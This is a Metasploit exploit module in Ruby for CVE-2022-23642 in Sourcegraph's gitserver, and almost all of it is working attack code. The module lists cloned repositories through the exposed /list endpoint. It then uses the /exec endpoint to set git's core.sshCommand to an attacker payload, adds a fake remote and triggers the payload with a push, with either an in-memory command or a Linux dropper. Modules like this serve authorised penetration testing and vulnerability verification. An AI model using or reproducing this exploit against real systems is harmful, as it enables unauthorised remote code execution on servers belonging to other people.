## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => '', 'Description' => %q{ }, 'Author' => [ ], 'References' => [ ['CVE', '2022-23642'], ['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'], ['URL', 'https://github.com/Altelus1/CVE-2022-23642'], ], 'DisclosureDate' => '2022-02-18', # Public disclosure 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory }, ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper }, ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 3178 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository']) ]) end def exploit if datastore['EXISTING_REPO'].blank? existing_repo = send_request_list.sample print_status("Using automatically identified repository: #{existing_repo}") else existing_repo = datastore['EXISTING_REPO'] end print_status("Executing #{target.name} target") case target['Type'] when :unix_memory execute_command(payload.encoded, 'repo' => existing_repo) when :linux_dropper execute_cmdstager('repo' => existing_repo) end end def send_request_exec(repo, args, timeout = 20) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'exec'), 'method' => 'POST', 'data' => { 'Repo' => repo, 'Args' => args }.to_json }, timeout) res end def send_request_list res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'list'), 'method' => 'GET', 'vars_get' => { 'cloned' => 'true' } }) fail_with(Failure::Unreachable, 'No server response') unless res fail_with(Failure::UnexpectedReply, 'Failed to list repositories') unless res.code == 200 && res.get_json_document.is_a?(Array) res.get_json_document end def execute_command(cmd, opts = {}) repo = opts['repo'] vprint_status('Setting the sshCommand') send_request_exec(repo, ['config', 'core.sshCommand', cmd]) vprint_status('Setting a fake origin') origin = Rex::Text.rand_text_alphanumeric(rand(4..11)) send_request_exec(repo, ['remote', 'add', origin, "git@#{Rex::Text.rand_text_alphanumeric(rand(4..11))}:#{Rex::Text.rand_text_alphanumeric(rand(4..11))}.git"]) vprint_status('Triggering command using push') send_request_exec(repo, ['push', origin, 'master'], 5) send_request_exec(repo, ['remote', 'remove', origin]) end end